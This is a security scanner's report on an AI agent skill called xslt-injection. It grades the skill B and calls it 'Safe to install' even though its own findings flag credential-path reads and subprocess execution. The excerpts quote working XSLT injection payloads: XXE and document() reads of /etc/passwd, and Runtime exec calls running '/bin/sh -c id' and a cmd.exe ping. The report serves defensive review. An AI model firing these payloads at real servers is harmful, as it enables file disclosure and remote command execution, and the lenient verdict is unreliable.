xslt-injection
github.com/yaklang/hack-skills
Scanned Thu, 28 May 2026 17:26:32 GMT
Scan ID crawl-i72xhp34rep8zx7ykdoa69p1 · 3ms
B
SCORE 75 / 100
Verdict: Safe to install
2 high-severity findings.
This skill reads protected filesystem locations plus 4 other issues listed below.
0 critical2 high3 medium7 rules passed
Why grade B?
score · 75 / 100The current grade reflects 2 high-severity findings (any HIGH → B).
0 CRIT2 HIGH3 MED0 LOW
To reach a higher grade
- AReach Atarget score 95
Resolve all 2 HIGH + 1 of 3 MED (cap is 2).
Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.
Findings · ordered by severity
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
64```xml
65<!DOCTYPE xsl:stylesheet [
66 <!ENTITY ext_file SYSTEM "file:///etc/passwd">← sensitive path — credential-exfiltration vector
67]>
68<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
90 <xsl:output method="text"/>
91 <xsl:template match="/">
92 <xsl:copy-of select="document('/etc/passwd')"/>← sensitive path — credential-exfiltration vector
93 </xsl:template>
94</xsl:stylesheet>
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
183 <xsl:template match="/">
184 <xsl:variable name="rtobject" select="rt:getRuntime()"/>
185 <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>← spawns a subprocess outside declared capabilities
186 </xsl:template>
187</xsl:stylesheet>
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
191
192```text
193Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')← spawns a subprocess outside declared capabilities
194```
195
medNo capability manifest declaredThe skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.rule: no-manifest▾
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule:
no-manifestskillox.io/r/crawl-i72xhp34rep8zx7ykdoa69p1